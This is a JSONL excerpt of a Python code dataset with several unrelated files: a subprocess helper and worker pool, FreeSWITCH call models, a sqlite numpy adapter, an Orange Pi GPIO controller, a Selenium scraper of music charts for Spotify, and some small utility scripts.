glob.glob(mask):\r\n\t\ttry:\r\n\t\t\tos.remove(filename)\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\r\n# ////////////////////////////////////////////////////////////////////////\r\ndef RunShellCommand(cmd, verbose=False, nretry=3):\r\n\t\r\n\tlogger.info(f\"RunShellCommand {cmd} ...\")\r\n\r\n\tif isinstance(cmd,str):\r\n\t\tcmd=cmd.replace(\"\\\\\",\"/\") # shlex eats backslashes\r\n\t\targs=shlex.split(cmd)\r\n\telse:\r\n\t\targs=cmd\r\n\r\n\tlogger.info(f\"RunShellCommand {args} ...\")\r\n\t\r\n\tt1 = time.time()\r\n\r\n\tfor I in range(nretry):\r\n\r\n\t\tresult=subprocess.run(args, \r\n\t\t\tshell=False, \r\n\t\t\tcheck=False,\r\n\t\t\tstdout=subprocess.PIPE,\r\n\t\t\tstderr=subprocess.STDOUT)\r\n\r\n\t\toutput=result.stdout.decode('utf-8')\r\n\r\n\t\tif verbose: \r\n\t\t\tlogger.info(output)\r\n\r\n\t\tif result.returncode==0:\r\n\t\t\tbreak\r\n\r\n\t\terror_msg=f\"RunShellCommand {args} failed with returncode={result.returncode} output:\\n{output}\"\r\n\r\n\t\tif verbose or I==(nretry-1):\r\n\t\t\tlogger.info(error_msg)\r\n\r\n\t\tif I==(nretry-1):\r\n\t\t\traise Exception(error_msg)\r\n\r\n\tsec=time.time()-t1\r\n\tlogger.info(f\"RunShellCommand {args} done in {sec} seconds\")\r\n\r\n# ///////////////////////////////////////////////////\r\nclass WorkerPool:\r\n\r\n\t\"\"\"\r\n\tWe could use python ThreadPool for this, but you cannot submit jobs while running other jobs.\r\n\tThis class should resolve this problem, so you can run jobs, add new jobs while running and iterate\r\n\tin results\r\n\t\"\"\"\r\n \r\n\t# ________________________________________________\r\n\tclass WorkerClass:\r\n \r\n\t\tdef runWorkerLoop(self, worker_pool):\r\n\t\t\twhile True:\r\n\t\t\t\ttask=worker_pool.popTask()\r\n\t\t\t\tif task is None: return # finished\r\n\t\t\t\tresult=task()\r\n\t\t\t\tworker_pool.finishedTask(task, result)\r\n\r\n\tclass LastResult: pass\r\n\r\n\t# constructor\r\n\tdef __init__(self,num_workers, worker_class=None):\r\n\t\tif not worker_class:\r\n\t\t\tworker_class=WorkerPool.WorkerClass\r\n\t\tself.lock=multiprocessing.Lock()\r\n\t\tself.processing=0\r\n\t\tself.q=queue.Queue()\r\n\t\tself.results=queue.Queue()\r\n\t\tself.t1=time.time()\t\r\n\t\tself.exit=0\r\n\t\tself.threads=[]\r\n\t\tfor n in range(num_workers):\r\n\t\t\tworker = worker_class()\r\n\t\t\tthread = threading.Thread(name=f\"worker-{n:02d}\",target=functools.partial(worker.runWorkerLoop,self))\r\n\t\t\tself.threads.append(thread)\r\n\r\n\t# start\r\n\tdef start(self):\r\n\t\tfor worker in self.threads:\r\n\t\t\tworker.start()\r\n\r\n\t# __iter__\r\n\tdef __iter__(self):\r\n\t\treturn self\r\n \r\n\t# __next__\r\n\tdef __next__(self):\r\n\t\tret=self.results.get()\r\n\t\tif isinstance(ret,WorkerPool.LastResult):\r\n\t\t\tself.exit=True\r\n\r\n\t\t\tfor thread in self.threads:\r\n\t\t\t\tself.q.put(None) # tell worker to quit\r\n \r\n\t\t\tfor thread in self.threads:\r\n\t\t\t\tthread.join()\r\n \r\n\t\t\traise StopIteration\r\n\t\telse:\r\n\t\t\treturn ret\r\n\r\n\t# pushTask\r\n\tdef pushTask(self, task):\r\n\t\twith self.lock: \r\n\t\t\tself.q.put(task)\r\n\t\t\tself.processing+=1\r\n \r\n # popTask\r\n\tdef popTask(self):\r\n\t\treturn self.q.get()\r\n\r\n\t# finishedTask\r\n\tdef finishedTask(self, task, result):\r\n\t\twith self.lock: \r\n\t\t\tself.processing-=1\r\n\t\t\tself.results.put(result)\r\n\t\t\t# if not processing add END result\r\n\t\t\tif not self.processing:\r\n\t\t\t\tself.results.put(WorkerPool.LastResult()) \r\n","sub_path":"Libs/swig/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"280051212","text":"# Copyright 2016 FUJITSU LIMITED\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nFLUSH_ERRORS = 'persister.flush_errors'\n\"\"\" errors occured when flushing a message (both on persister and TSDB side) \"\"\"\nMESSAGES_DROPPED = 'persister.messages_rejected'\n\"\"\" number of invalid messages received and dropped \"\"\"\nMESSAGES_CONSUMED = 'persister.messages_consumed'\n\"\"\" number of valid messages processed \"\"\"\n\nINFLUXDB_INSERT_TIME = \"influxdb.insert_time\"\n\"\"\" time for writing batches to InfluxDB (incl. communication) \"\"\"\nKAFKA_CONSUMER_ERRORS = 'kafka.consumer_errors'\n\"\"\" errors occured when fetching messages from Kafka (incl. ZK) \"\"\"\n","sub_path":"monasca_persister/monitoring/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"77943204","text":"import phonenumbers\nfrom typing import List\nfrom logger import logger\nfrom common import async_dbadapter as db\nfrom common import reasons as rs\nfrom common import common_ex as cex\n\n\nclass IJobEvents(object):\n async def job_done(self, job):\n logger.LOG.warning(\"Don't implement method\")\n\n\nclass Job(object):\n def __init__(self, fs_job_result, dispatcher):\n self._uuid = fs_job_result['Job-UUID']\n self._ev = None\n self._subscriber_list: List[IJobEvents] = list()\n self._err = rs.make_error_code_from_freeswitch(fs_job_result['Reply-Text'])\n self._dispatcher = dispatcher\n self._dispatcher.register_job(self)\n self._cmd_params = None\n\n def __str__(self):\n return \"JOB: `{}` error: `{}` \".format(self.uuid, self.last_error)\n\n def __getitem__(self, item):\n return self._cmd_params[item]\n\n def set_cmd_params(self, **cmd_params):\n \"\"\"\n\n :param cmd_params: Several common params:\n `text` - command text\n `app` - application who has created this job\n :return:\n \"\"\"\n self._cmd_params = cmd_params\n\n @property\n def uuid(self):\n return self._uuid\n\n @property\n def failed(self):\n return self._err != rs.Errors.ERR_SUCCESSFUL\n\n @property\n def last_error(self):\n return self._err\n\n async def async_event_processing(self, event: dict):\n ok = '+OK '\n error = '-ERR'\n body = event.get('Body')\n try:\n if error in body:\n resp = body.strip(error).strip()\n self._err = rs.make_error_code_from_freeswitch(resp)\n logger.LOG.debug(\"job '{}' failed with responce: {}\".format(self.uuid, str(resp)))\n elif ok in body:\n logger.LOG.debug(\"job '{}'ok with:\\n{}\".format(self.uuid, str(body)))\n for subscriber in self._subscriber_list:\n await subscriber.job_done(self)\n except Exception as ex:\n logger.LOG.error(logger.LOG.exmsg(ex))\n raise\n finally:\n self._dispatcher.unregister_job(self)\n\n def add_subscriber(self, subscriber: IJobEvents) -> bool:\n logger.LOG.debug(\"Add job subscriber: {}\".format(str(subscriber)))\n if not subscriber:\n return False\n if subscriber not in self._subscriber_list:\n self._subscriber_list.append(subscriber)\n return True\n\n def remove_unsubscriber(self, subscriber: IJobEvents) -> bool:\n logger.LOG.info(\"Remove job subscriber: {}\".format(str(subscriber)))\n try:\n if subscriber in self._subscriber_list:\n self._subscriber_list.remove(subscriber)\n else:\n return False\n except Exception as ex:\n logger.LOG.error(logger.LOG.exmsg(ex))\n return False\n return True\n\n def subscribers(self):\n return self._subscriber_list\n\n\nclass NumberExeption(cex.CommonEx):\n def __init__(self, msg=None, err=rs.Errors.ERR_NUMBER_FORMAT_ERROR):\n super().__init__(msg, err)\n\n\nclass Number(object):\n class Type(object):\n VOIP = 2\n PSTN = 4\n\n # TODO region will store in config\n def __init__(self, number: str, region='US'):\n logger.LOG.debug(\"Try to init number object from number `{}`\".format(number))\n if 'sip:' in number:\n self._ntype = self.Type.VOIP\n self._formatted = number.replace('sip:', '')\n self._country_prefix = 'sip'\n else:\n try:\n numberobj = phonenumbers.parse(number, region)\n self._ntype = self.Type.PSTN\n self._formatted = phonenumbers.format_number(numberobj, phonenumbers.PhoneNumberFormat.E164)\n self._country_prefix = str(numberobj.country_code)\n except phonenumbers.NumberParseException as ex:\n msg = \"Unknown type or format of number received. Msg: {}\".format(logger.LOG.exmsg(ex))\n raise NumberExeption(msg)\n\n def __str__(self):\n return 'Type `{}`, Formatted `{}`, Prefix `{}`'.format(self.number_type, self.formatted, self.country_prefix)\n\n @property\n def number_type(self):\n return self._ntype\n\n @property\n def formatted(self):\n return self._formatted\n\n @property\n def country_prefix(self):\n return self._country_prefix\n\n\nclass CallState(object):\n ANSWERED = 100\n DESTROY = 101\n CREATED = 102\n WAITING = 103\n\n\nclass ICallEvents(object):\n # Specifics events\n async def call_answer(self, call):\n logger.LOG.warning(\"Don't implement method for call: {}\".format(call))\n\n async def call_create(self, call):\n logger.LOG.warning(\"Don't implement method for call: {}\".format(call))\n\n async def call_destroy(self, call):\n logger.LOG.warning(\"Don't implement method for call: {}\".format(call))\n\n\n# noinspection SpellCheckingInspection\n# TODO add timer for reject call after long time started (End call after 30 min?)\nclass Call(object):\n class DestroyReason(object):\n def __init__(self, code=rs.Errors.ERR_SUCCESSFUL, text='NORMAL_CLEARING'):\n self.code = code\n self.text = text\n\n def __init__(\n self,\n uuid: str,\n app,\n from_number: Number,\n to_number: Number,\n mscall_session,\n dispatcher\n ):\n self._uuid = uuid\n self._destroy_reason = Call.DestroyReason()\n self._from_number = from_number\n self._to_number = to_number\n self._faanswer_time = None\n self._fadestroy_time = None\n self._facreate_time = db.now()\n self._platform_id = 100\n self._mscall_session = mscall_session # Multisession.Session\n self._call_state = CallState.WAITING\n self._subscriber_list: List[ICallEvents] = list()\n self._dispatcher = dispatcher\n self._app_id = app.id\n self.add_subscriber(app)\n self._dispatcher.register_call(self)\n logger.LOG.debug(\"Created call: {}\".format(str(self)))\n\n def __str__(self):\n return self.__repr__()\n\n def __repr__(self):\n return \"CallImpl(app `{}`, uuid: `{}`, from: `{}`, to: `{}`)\"\\\n .format(self._app_id, self.uuid, self._from_number, self._to_number)\n\n async def call_answer(self, ev: dict):\n if not ev:\n raise ValueError(\"Broken call event message\")\n logger.LOG.debug(\"Call answer: {}\".format(self))\n self._mscall_session.start()\n self._call_state = CallState.ANSWERED\n self._faanswer_time = db.now()\n for subscriber in self._subscriber_list:\n await subscriber.call_answer(self)\n\n async def call_create(self, ev: dict):\n if not ev:\n raise ValueError(\"Broken call event message\")\n logger.LOG.debug(\"Call create: {}\".format(self))\n self._call_state = CallState.CREATED\n for subscriber in self._subscriber_list:\n await subscriber.call_create(self)\n\n async def call_destroy(self, ev: dict):\n try:\n if not ev:\n raise ValueError(\"Broken call event message\")\n logger.LOG.debug(\"Call destroy: {} for event: {}\".format(self, ev))\n self._call_state = CallState.DESTROY\n hangup_cause = ev.get(\"Hangup-Cause\", 'NORMAL_CLEARING')\n self._destroy_reason = Call.DestroyReason(\n code=rs.make_error_code_from_freeswitch(hangup_cause),\n text=hangup_cause\n )\n self._fadestroy_time = db.now()\n for subscriber in self._subscriber_list:\n await subscriber.call_destroy(self)\n except Exception:\n raise\n finally:\n self._dispatcher.unregister_call(self)\n await self.async_flush_cdr()\n\n async def async_flush_cdr(self):\n price = self._mscall_session.selected_price\n price_id = price.fiprice_id\n provider = price.fsprovider_code\n region_prefix = price.fscountry_prefix\n query = \"\"\"\n INSERT INTO mycapp.cdr (\n fiapp_id, \n fscall_uuid, \n fiplatform_id,\n fiproduct_id,\n fiaccount_id,\n fsfrom_number, \n fsto_number, \n facreate_time,\n faanswer_time, \n fadestroy_time, \n fiduration,\n fitalk_duration,\n fiend_reason,\n fsend_reason_txt,\n fiprice_id,\n fsprovider,\n fiservice_code,\n fscountry_prefix\n ) VALUES (\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s,\n %s\n ) RETURNING ficall_id\"\"\"\n params = (\n self.app_id,\n self.uuid,\n self._platform_id,\n self._mscall_session.product_id,\n self._mscall_session.account_id,\n self._from_number.formatted,\n self._to_number.formatted,\n self._facreate_time,\n self._faanswer_time,\n self._fadestroy_time,\n (self._fadestroy_time - self._facreate_time).seconds,\n 0 if not self._faanswer_time else (self._fadestroy_time - self._faanswer_time).seconds,\n self._destroy_reason.code,\n self._destroy_reason.text,\n price_id,\n provider,\n self._mscall_session.serv_code,\n region_prefix\n )\n logger.LOG.debug(\"Try to flush cdr to DB\")\n call_id_data = await db.dbpg.aexecute(query, params)\n await self._mscall_session.close(target_id=call_id_data[0][0])\n\n async def async_event_processing(self, call_ev: dict):\n logger.LOG.debug(\"New event: {}\".format(call_ev['Event-Name']))\n event_name = call_ev[\"Event-Name\"]\n if event_name == \"CHANNEL_ANSWER\":\n await self.call_answer(call_ev)\n elif event_name == \"CHANNEL_DESTROY\" or event_name == \"CHANNEL_HANGUP\":\n await self.call_destroy(call_ev)\n elif event_name == \"CHANNEL_CREATE\":\n await self.call_create(call_ev)\n else:\n logger.LOG.warning(\"Unknown event: {}\".format(event_name))\n\n def add_subscriber(self, subscriber: ICallEvents) -> bool:\n logger.LOG.debug(\"Add subscriber: {}\".format(str(subscriber)))\n if not subscriber:\n return False\n if subscriber not in self._subscriber_list:\n self._subscriber_list.append(subscriber)\n return True\n\n def remove_unsubscriber(self, subscriber: ICallEvents) -> bool:\n logger.LOG.info(\"Remove subscriber: {}\".format(str(subscriber)))\n try:\n if subscriber in self._subscriber_list:\n self._subscriber_list.remove(subscriber)\n else:\n return False\n except Exception as ex:\n logger.LOG.error(logger.LOG.exmsg(ex))\n return False\n return True\n\n def set_uuid(self, uuid):\n self._uuid = uuid\n\n @property\n def uuid(self) -> str:\n return self._uuid\n\n @property\n def from_number(self):\n return self._from_number\n\n @property\n def to_number(self):\n return self._to_number\n\n @property\n def state(self):\n return self._call_state\n\n @property\n def app_id(self):\n return self._app_id\n\n @property\n def done(self):\n return self.state == CallState.DESTROY\n\n\nclass ProviderExeption(cex.CommonEx):\n def __init__(self, msg=None, err=rs.Errors.ERR_FAILED):\n super().__init__(msg, err)\n\n\nclass Provider(object):\n class Type(object):\n Internal = 2\n External = 4\n\n def __init__(self, code):\n self._fsprovider_code = code\n self._fiprovider_id = None\n self._fiprov_status = None\n self._fitype = None\n self._fsdomain = None\n self._fsgateway = None\n\n async def construct(self):\n p = await db.dbpg.aexecute(\"SELECT * FROM mycapp.provider WHERE fsprovider_code=%s\", (self._fsprovider_code,))\n logger.LOG.debug(\"Provider `{}` has receved from DB\".format(p))\n rec = p[0]\n self._fiprovider_id = rec[0]\n self._fiprov_status = rec[1]\n self._fitype = rec[2]\n self._fsdomain = rec[7]\n self._fsgateway = rec[8]\n return self\n\n def __str__(self):\n return 'Provider - code `{}` id `{}` status `{}` type `{}`'.format(self.code, self.id, self.status, self.type)\n\n @property\n def code(self):\n return self._fsprovider_code\n\n @property\n def id(self):\n return self._fiprovider_id\n\n @property\n def status(self):\n return self._fiprov_status\n\n @property\n def type(self):\n return self.Type.Internal if self._fitype == 0 else self.Type.External\n\n @property\n def domain(self):\n return self._fsdomain\n\n @property\n def gateway(self):\n return self._fsgateway\n\n\nclass OperatorExeption(cex.CommonEx):\n def __init__(self, msg=None, err=rs.Errors.ERR_FAILED):\n super().__init__(msg, err)\n\n\nclass Operator(object):\n def __init__(self, operator_id):\n self._fioperator_id = operator_id\n self._sip_number: Number = None\n self._pstn_number: Number = None\n self._outbound_caller_id_number = None\n\n async def init(self):\n if not self._fioperator_id:\n raise OperatorExeption(\"Received unknown operator in try to init `Operator`\")\n ab_data = await db.dbpg.aexecute(\"SELECT * FROM mycapp.abonent WHERE fiabonent_id=%s\", (self._fioperator_id,))\n logger.LOG.debug(\"Abonent-Operator `{}` has receved from DB\".format(ab_data))\n ab = ab_data[0]\n self._outbound_caller_id_number = ab[8] if ab[8] else None\n self._sip_number = Number('sip:' + ab[3], 'US') if ab[3] else None\n self._pstn_number = Number(ab[14], 'US') if ab[14] else None\n return self\n\n @property\n def id(self):\n return self._fioperator_id\n\n @property\n def sip_number(self):\n return self._sip_number\n\n @property\n def pstn_number(self):\n return self._pstn_number\n\n @property\n def outbnd_number_str(self):\n return self._outbound_caller_id_number\n\n\nif __name__ == '__main__':\n import asyncio\n\n async def ptest():\n # prov = await Operator().init()\n # print(prov)\n pass\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(ptest())\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"493982768","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2019年3月6日\n\n@author: Administrator\n'''\nimport sqlite3\nimport numpy as np\nimport io\n\ndef adapt_array(arr):\n\n out = io.BytesIO()\n np.save(out, arr)\n out.seek(0)\n return sqlite3.Binary(out.read())\n\ndef convert_array(text):\n out = io.BytesIO(text)\n out.seek(0)\n return np.load(out)\n\n# 创建数据库连接对象\nconn = sqlite3.connect('sample_database.db', detect_types=sqlite3.PARSE_DECLTYPES) # 连接到SQLite数据库\n'''\nsqlite3.PARSE_DECLTYPES\n本常量使用在函数connect()里,设置在关键字参数detect_types上面。表示在返回一行值时,是否分析这列值的数据类型定义。如果设置了本参数,就进行分析数据表列的类型,并返回此类型的对象,并不是返回字符串的形式。\n\nsqlite3.PARSE_COLNAMES \n本常量使用在函数connect()里,设置在关键字参数detect_types上面。表示在返回一行值时,是否分析这列值的名称。如果设置了本参数,就进行分析数据表列的名称,并返回此类型的名称\n'''\n# 参数:memory:来创建一个内存数据库\n# conn = sqlite3.connect(\":memory:\", detect_types=sqlite3.PARSE_DECLTYPES)\n\n# Converts np.array to TEXT when inserting\nsqlite3.register_adapter(np.ndarray, adapt_array)\n\n# Converts TEXT to np.array when selecting\nsqlite3.register_converter(\"array\", convert_array)\n\nx = np.arange(12).reshape(2, 6)\n\n# conn = sqlite3.connect(\":memory:\", detect_types=sqlite3.PARSE_DECLTYPES)\ncursor = conn.cursor()\n# 创建数据库表\ncursor.execute(\"create table test (arr array)\")\n# 插入一行数据\ncursor.execute(\"insert into test (arr) values (?)\", (x,))\n# 提交\nconn.commit()\n\ncursor.execute(\"select arr from test\")\ndata = cursor.fetchone()[0]\n\nprint(data)\n'''\n[[ 0 1 2 3 4 5]\n [ 6 7 8 9 10 11]]\n'''\nprint(type(data))\n'''\n\n'''\ncursor.close() # 关闭Cursor\nconn.close() # 关闭数据库\n\n","sub_path":"db/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"357779969","text":"# -*- coding: utf-8 -*-\n\"\"\"Module for controlling GPIOs of Orange Pi microcomputers.\"\"\"\n__version__ = \"0.1.0\"\n__status__ = \"Beta\"\n__author__ = \"Libor Gabaj\"\n__copyright__ = \"Copyright 2019, \" + __author__\n__credits__ = []\n__license__ = \"MIT\"\n__maintainer__ = __author__\n__email__ = \"libor.gabaj@gmail.com\"\n\n\nimport logging\n\nfrom . import gpio, port, connector\n\n\n###############################################################################\n# Classes\n###############################################################################\nclass OrangePiOne(object):\n \"\"\"Creating a GPIO manager for microcomputer ``Orange Pi One``.\n\n Notes\n -----\n - GPIO pins including system LEDs are identified for the sake of this class\n by name of its attributes defined in the library.\n - Each pin can be named in the form as a ``port`` or as a ``connector``.\n Each form has its own list of available pin names, which can be obtained\n with commands::\n\n dir(port)\n dir(connector)\n\n - List of available ports for GPIO pins:\n ``PA0``, ``PA1``, ``PA10``, ``PA11``, ``PA12``, ``PA13``, ``PA14``,\n ``PA18``, ``PA19``, ``PA2``, ``PA20``, ``PA21``, ``PA3``, ``PA6``,\n ``PA7``, ``PA8``, ``PA9``, ``PC0``, ``PC1``, ``PC2``, ``PC3``, ``PC4``,\n ``PC7``, ``PD14``, ``PG6``, ``PG7``, ``PG8``, ``PG9``\n\n - List of available ports for system LEDS:\n ``POWER_LED``, ``STATUS_LED``\n\n - List of available connectors for GPIO pins:\n ``gpio1p10``, ``gpio1p11``, ``gpio1p12``, ``gpio1p13``, ``gpio1p15``,\n ``gpio1p16``, ``gpio1p18``, ``gpio1p19``, ``gpio1p21``, ``gpio1p22``,\n ``gpio1p23``, ``gpio1p24``, ``gpio1p26``, ``gpio1p27``, ``gpio1p28``,\n ``gpio1p29``, ``gpio1p3``, ``gpio1p31``, ``gpio1p32``, ``gpio1p33``,\n ``gpio1p35``, ``gpio1p36``, ``gpio1p37``, ``gpio1p38``, ``gpio1p40``,\n ``gpio1p5``, ``gpio1p7``, ``gpio1p8``\n\n - List of available connectors for system LEDS:\n ``LEDp1``, ``LEDp2``\n\n \"\"\"\n\n def __init__(self):\n \"\"\"Create the class instance - constructor.\"\"\"\n # Hardware initialization\n gpio.init()\n # Logging\n self._logger = logging.getLogger(' '.join([__name__, __version__]))\n self._logger.debug(\n 'Instance of %s created: %s',\n self.__class__.__name__,\n str(self)\n )\n\n def __str__(self):\n \"\"\"Represent instance object as a string.\"\"\"\n return self.__class__.__name__\n\n def _convert_pin_port(self, pin):\n \"\"\"Convert pin name to port number.\n\n Arguments\n ---------\n pin : str\n Name of a pin in form of either ``port`` or ``connector``.\n\n Returns\n -------\n portnum : int\n SoC port number (offset) of the pin or 0.\n\n \"\"\"\n if pin in dir(port):\n port_num = getattr(port, pin)\n elif pin in dir(connector):\n port_num = getattr(connector, pin)\n else:\n errmsg = \"Unknown pin {}\".format(pin)\n self._logger.error(errmsg)\n return 0\n return port_num\n\n def pin_on(self, pin):\n \"\"\"Set pin as OUTPUT and to HIGH.\n\n Arguments\n ---------\n pin : str\n Name of a pin in form either `port` or `connector`.\n\n Raises\n ------\n NameError\n Pin name is defined neither among ports nor connectors.\n Error message included to the exception.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n gpio.setcfg(port_num, gpio.OUTPUT)\n gpio.output(port_num, gpio.HIGH)\n\n def pin_off(self, pin):\n \"\"\"Set pin as OUTPUT and to LOW.\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n gpio.setcfg(port_num, gpio.OUTPUT)\n gpio.output(port_num, gpio.LOW)\n\n def pin_toggle(self, pin):\n \"\"\"Set pin as OUTPUT and invert its state.\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n port_state = gpio.HIGH\n if gpio.input(port_num) == gpio.HIGH:\n port_state = gpio.LOW\n gpio.setcfg(port_num, gpio.OUTPUT)\n gpio.output(port_num, port_state)\n\n def pin_pullup(self, pin):\n \"\"\"Set PULLUP of pin.\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n gpio.pullup(port_num, gpio.PULLUP)\n\n def pin_pulldown(self, pin):\n \"\"\"Set PULLDOWN of pin.\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n gpio.pullup(port_num, gpio.PULLDOWN)\n\n def pin_pullclear(self, pin):\n \"\"\"Reset PULLUP or PULLDOWN of pin.\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n gpio.pullup(port_num, gpio.PULLNONE)\n\n def pin_read(self, pin, mode=gpio.INPUT):\n \"\"\"Set pin as INPUT and read its state.\n\n Returns\n -------\n pin_state : {gpio.HIGH, gpio.LOW}\n Current state of the pin or None\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n gpio.setcfg(port_num, gpio.INTPUT)\n value = gpio.input(port_num)\n return value\n\n def pin_state(self, pin):\n \"\"\"Return pin state without changing its mode.\n\n Returns\n -------\n pin_state : {gpio.HIGH, gpio.LOW}\n Current state of the pin or None\n\n See Also\n --------\n pin_on : Arguments, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n value = gpio.input(port_num)\n return value\n\n def is_pin_on(self, pin):\n \"\"\"Return flag about pin state HIGH.\n\n Arguments\n ---------\n pin : str\n Name of a pin in form either `port` or `connector`.\n *The argument is mandatory and has no default value.*\n\n Returns\n -------\n flag_high : bool\n Logical flag about pin state HIGH or None.\n True if HIGH or False for LOW.\n\n Raises\n ------\n NameError\n Pin name is defined neither among ports nor connectors.\n Error message included to the exception.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n return gpio.input(port_num) == gpio.HIGH\n\n def is_pin_off(self, pin):\n \"\"\"Return flag about pin state LOW.\n\n See Also\n --------\n is_pin_on : Arguments, Returns, Raises are the same, see docstrings.\n\n \"\"\"\n return not self.is_pin_on(pin)\n\n def is_pin_output(self, pin):\n \"\"\"Return flag about pin mode OUTPUT.\n\n See Also\n --------\n is_pin_on : Arguments, Returns, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n return gpio.getcfg(port_num) == gpio.OUTPUT\n\n def is_pin_input(self, pin):\n \"\"\"Return flag about pin mode INPUT.\n\n See Also\n --------\n is_pin_on : Arguments, Returns, Raises are the same, see docstrings.\n\n \"\"\"\n port_num = self._convert_pin_port(pin)\n if port_num:\n return gpio.getcfg(port_num) == gpio.INPUT\n","sub_path":"gbj_pythonlib_hws/orangepi.py","file_name":"orangepi.py","file_ext":"py","file_size_in_byte":7910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"410115906","text":"from selenium import webdriver\nfrom PlaylistsMaker import token_to_log\nfrom time import sleep\nimport re\n\n\nclass RymBot:\n def __init__(self):\n self.driver = webdriver.Firefox()\n\n def get_ids(self):\n spotify_token = token_to_log()\n self.driver.get(\n 'https://rateyourmusic.com/customchart?page=1&chart_type=top&type=single&year=2020&genre_include=1'\n '&include_child_genres=1&genres=&include_child_genres_chk=1&include=both&origin_countries=&limit=none'\n '&countries=')\n\n sleep(10)\n\n listOfSongs = []\n tbody = self.driver.find_element_by_xpath(\"/html/body/div[2]/div[3]/table/tbody\")\n str_tbody = '/html/body/div[2]/div[3]/table/tbody'\n\n for count, row in enumerate(tbody.find_elements_by_xpath('./tr')):\n if (count + 1) % 8 == 0:\n continue\n try:\n var = self.driver.find_element_by_xpath((str_tbody + '/tr[{}]/td[3]/div[2]/div').format(count + 1))\n except:\n continue\n song = var.find_elements_by_tag_name('a') # .get_attribute(\"a\")\n listOfSongs.append(song)\n\n idAlbums = []\n for count, x in enumerate(listOfSongs):\n for nr, tags in enumerate(x):\n if str(listOfSongs[count][nr].get_attribute(\"title\")) == 'Spotify':\n idAlbums.append(listOfSongs[count][nr].get_attribute(\"href\"))\n\n for nr, album in enumerate(idAlbums):\n idAlbums[nr] = re.sub(\"https://open.spotify.com/album/\", \"\", idAlbums[nr])\n\n idSongs = []\n topNumber = 0\n for counter, album in enumerate(idAlbums):\n if topNumber == 10:\n break\n album_tracks = spotify_token.sp.album_tracks(idAlbums[counter])\n for nr, song in enumerate(album_tracks['items']):\n idSongs.append(album_tracks['items'][nr]['id'])\n topNumber += 1\n\n return idSongs\n","sub_path":"PlaylistBot.py","file_name":"PlaylistBot.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"432350021","text":"def word_count(str):\n\n words = []\n dict = {}\n\n str = str.replace(\"\\n\",\" \")\n words = str.split(\" \")\n for w in words:\n if w:\n if w in dict:\n dict[w] = dict[w] + 1\n else:\n dict[w] = 1\n return dict\n","sub_path":"all_data/exercism_data/python/word-count/de2f7a47d2eb4d938a4830635cf5f12c.py","file_name":"de2f7a47d2eb4d938a4830635cf5f12c.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"253786378","text":"num = input('주민번호 앞자리 입력: ')\n\nyear = '19' + num[0:2]\nmonth = num[2:4]\nday = num[4:6]\nage = 2019 - int(year) + 1\n\nprint('당신은 ' + year +'년에 태���났군요')\nprint('당신의 생일은 '+ month +'월'+ day +'일 이군요')\nprint('당신은 %d살 이군요.' % age)","sub_path":"day05(string)/test12.py","file_name":"test12.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"490171651","text":"#!/usr/bin/env python\n\n\"\"\"\nFrom input csv of weighted edelist with \"nodeA\", \"nodeB\", \"weight\" columns, create a network graph and calculate measures of degree, betweennness and eigenvector \n\nParameters (optional)\n input_file: str \n min_edgeweight: int \nUsage:\n network_nd.py -i -m \nExample:\n $ python3 network_nd.py -i ../data/weighted_edgelist_realnews.csv -m 500\n\"\"\"\n\n\n#### DEPENDENCIES ####\n\nimport os\nimport argparse\n\n# data\nimport pandas as pd\n\n# network\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport math\n\n\n#### MAIN FUNCTION ####\n\ndef main():\n \n # define input parameters\n ap = argparse.ArgumentParser()\n # input option for filepath to the input file, with default of realnews data\n 